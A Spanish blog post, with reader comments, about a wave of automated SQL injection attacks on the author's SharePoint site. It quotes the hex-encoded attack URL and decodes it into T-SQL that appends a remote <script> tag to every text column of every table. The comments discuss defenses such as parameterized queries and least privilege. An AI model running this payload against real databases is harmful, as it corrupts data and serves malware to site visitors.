Gracias señores (*!@#$%!!) por intentar hackear mi sitio… me han enseñado mucho sobre SharePoint

Desde hace un par de semanas los logs de mi sitio, SkunkWorks (el sitio ese dedicado a información sobre SharePoint, tal vez ustedes lo hayan visto alguna vez), están llenos de errores. Por eso de la deformación profesional, en el sitio tengo un Modulo HTTP que cuando ocurre algún error me envía un E-mail avisándome, así que mi Outlook esta simplemente a reventar de errores producidos, registrados y enviados.

Los errores son todos del tipo:

 

http://www.gavd.net/servers/sharepointv3/spsv3_item.aspx?top=inf&itm=429;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C4043205641524348415228323535292044

45434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616

D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E7320622057

45205461626C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);

 

Como estoy acostumbrado a recibir ataques de todo tipo en el sitio, en el principio no le he parado muchas bolas al asunto, pues mientras pueda detectar el ataque significa por defecto que el ataque ha fracasado. Pero en los últimos días la cosa es realmente una pesadilla, llegando a tener cientos de request por hora del mismo tipo.

Aprovechando un par de minutos de respiro, me he puesto a googlear al respecto, y para mi sorpresa veo que en el último par de meses este ataque se ha convertido en una real epidemia en Internet. De que se trata? Muy sencillo…

Como pueden ver, no es más que una inyección de código en el URL. Utilizando SQL se puede descifrar fácilmente la constante hexadecimal que están usando, lo que resulta que es algo por el estilo a:

 

DECLARE @T VARCHAR(255)

DECLARE @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR

SELECT [A].[Name], [B].[Name]

FROM sysobjects AS [A], syscolumns AS [B]

WHERE [A].[ID] = [B].[ID] AND

[A].[XType] = ‘U’ /* Table (User-Defined) */ AND

([B].[XType] = 99 /* NTEXT */ OR

[B].[XType] = 35 /* TEXT */ OR

[B].[XType] = 231 /* SYSNAME */ OR

[B].[XType] = 167 /* VARCHAR */)

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE (@@FETCH_STATUS = 0)

BEGIN

EXEC(‘UPDATE [‘ + @T + ‘] SET [‘ + @C + ‘] = RTRIM(CONVERT(VARCHAR, [‘ + @C + ‘])) + »<script src=»http://www.[algunHP].com/2.js»></script>»’)

FETCH NEXT FROM Table_Cursor INTO @T, @C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

 

Mirando por aquí y por allá, resulta que la consulta lo que pretende es inyectar una referencia a un JavaScript en todos los valores de todas las columnas del tipo texto, sysname o varchar de todas las tablas en la Base de Datos. El JavaScript es un “Cross-Site Scripting Persistent” ataque que en teoría puede hacer de todo, desde meter propaganda en el sitio hasta introducir worms y troyanos en el computador del usuario. Si desea ver un análisis del query, los artículos “SQL Injection: More of the same” de Johannes Ullrich y “ASCII Encoded/Binary String Automated SQL Injection Attack” de Michael Zino ofrecen toda la información que desee saber sobre el tema.

Así que la cosa es seria. Y como reacciona SharePoint ante un ataque de este tipo? Por lo que he visto, bastante bien. Si lo desea probar, verá que en el primer request aparece muy ligeramente un JavaScript intentando hacer una redirección a un sitio fuera del dominio, pero el ataque es detectado inmediatamente y aparece una página de error de IIS (HTTP 400 Bad Request). Desafortunadamente en un sistema por defecto el error se logea solamente en IIS, no en SharePoint. Una búsqueda ligera en las tablas de SQL de SharePoint y en el código fuente de las páginas del Portal tampoco indican que el ataque ha tenido éxito.

Se puede detener el ataque? Por lo que he visto no. Las request vienen cada vez de una dirección IP diferente, de tal forma que no se pueden bloquear por ese lado. Lo único que se me ocurre es otro modulo HTTP que intercepte directamente en el URL las sintaxis sospechosas y las rechace automáticamente, pero eso no detiene el ataque, solamente lo para en la puerta de entrada, lo que ya está haciendo SharePoint por sí mismo. La respuesta parece que también es muy sencilla: habrá que esperar pacientemente a que se aburran y me dejen en paz…

En cualquier caso, todo esta historia es solamente para darles las gracias a los… como llamarlos… las palabras que se me vienen a la boca no se pueden escribir en un sitio como este… dejémoslos en “señores”, que están intentando tan fervorosamente romper mi sitio: en un par de horas he aprendido un montón sobre SQL e inyección de código… lo único es que sigo sin entender porque alguien se dedica a hacer algo así…

Gustavo – http://www.gavd.net/servers/
Escriba un Comentario que me haga reir…

16 comentarios sobre “Gracias señores (*!@#$%!!) por intentar hackear mi sitio… me han enseñado mucho sobre SharePoint”

  1. Y uno que pensaba que era el único…

    Y para otros sitios, hay algunas cosas básicas para evitar los ataques de estos señores… desde validar los parámetros, en el caso de arriba claramente se ve que itm no es entero :D… y bueno detenerlo también por el lado SQL, evitando que el usuario de la Web haga directamente updates, sólo que pueda modificar la BD, vía store procedures… pués por ahí lo detenemos aunque sea un poco :D… pero imagino que hay muchas otras formas…

    y siempre evitar los querys dinámicos, usar consultas parametrizadas o store procedures

    Saludos,

  2. Bueno, tómalo por el lado amable, si te acosan, «sql_injection_icamente» hablando es porque estas haciendo un buen trabajo…

    Nadie intenta atacar un site poco popular o malo…

    Suerte en la defensa del site… además esta interesante =P

    Saludos.

  3. Hola…
    Sergio: Si tienes toda la razón, hay que tomar medidas al respecto como las que comentas. Y en una instalación de SharePoint tener en cuenta las recomendaciones de Microsoft sobre las cuentas de los administradores (eran siete o nuevo los necesarios? ya ni me acuerdo). Otra posibilidad (aunque no para SharePoint) es utilizar Access, que aunque tenga la reputación tan mala que tiene, a mí siempre me ha funcionado de maravillas en aplicaciones pequeñitas, y que como no tiene systables, es completamente inatacable con scripts de este tipo.
    Hanz: voy a intentar tomármelo por el lado amable… si es que se lo encuentro… por lo menos me he reído mucho de la caricatura del programador en tu blog 😎
    Saludos a los dos.

  4. @flaviovich: por la naturaleza del ataque, que en esencia es una inyección SQL un poco rebuscada, un sitio que corriese sobre Oracle sería tan vulnerable como uno que corra SQL Server. No hay diferencia alguna.

    @gustavo: yo también les he sufrido en Geeks.ms

    Un saludo.

  5. Cada motor de bases de datos que conozco tiene una forma de realizar consultas sobre los metadatos. Llámese systables o como lo quieras llamar. Access no es una excepción. Tampoco MySQL, Oracle, DB2 o la que quieras. De hecho juraría haber asistido a un evento de seguridad en el que nos contaban como hacer eso mismo contra access.

    Formas de protegerse? Defensa en profundidad. Si la aplicación es tuya, los principios que ya ha comentado Sergio. Si no lo es (como en el caso de MOSS), pues rezaremos porque sea robusta y esté bien desarrollada (ahí entra en juego la fe que cada uno quiera depositar en los desarrollos de terceros o de MS).
    También se pueden poner filtros ISAPI en el IIS que pasen expresiones regulares (obviamente configurables) por el querystring y por el formulario en los post para detectar intentos de inyección.
    Principio de minimo privilegio. No poner local system o domain admin como usuario de base de datos que utilizamos en nuestra aplicacion.

  6. Vaya, pues ya somos unos cuantos con spam u ataques :S.

    A mi ultimamente no me llega mucho (bueno, antes de ayer uno), pero he tenido semanitas que no veas. Por eso tengo los comentarios para usuarios registrados.

    Saludos!!

  7. @Tio_Luiso, sólo para recalcar esta frase: «Principios de mínimos privilegios». Es decir no darle al usuario más permisos de los que necesita. Que es mas trabajoso, crear un usuario o rol, y sólo darle los permisos que va necesitar (SELECT, o ejecución de SPs), es trabajoso, pero es claramente mas seguro…

    Saludos,

  8. @Sergio. Hombre, en esto de los privilegios mínimos, hay todo un espectro. En el lado más paranoico, el usuario con el que se conectan las aplicaciones tiene definidos sus permisos de forma perfectamente atómica. Preferiblemente no tiene permisos para hacer queries ni actualizaciones directamente a las tablas. Y sólo puede hacer cosas a través de los procedimientos almacenados que se hayan definido.

    En el otro extremo, pongamos, utilizar un domain admin, o local system.

    Como lo primero puede ser un coñazo, puede ser más facil (y en muchos casos suficiente) utlizar un usuario de dominio normal y corriente. No tendrá permisos para ejecutar los procedimientos extendidos (entre ellos, abrir la shell). Y que ese usuario solo tenga permisos para esa base de datos. Con eso ya se limitan los daños que te pueden hacer.

  9. Hola, como haces que se realice estó: …en el sitio tengo un Modulo HTTP que cuando ocurre algún error me envía un E-mail avisándome…

Responder a rcorral Cancelar respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *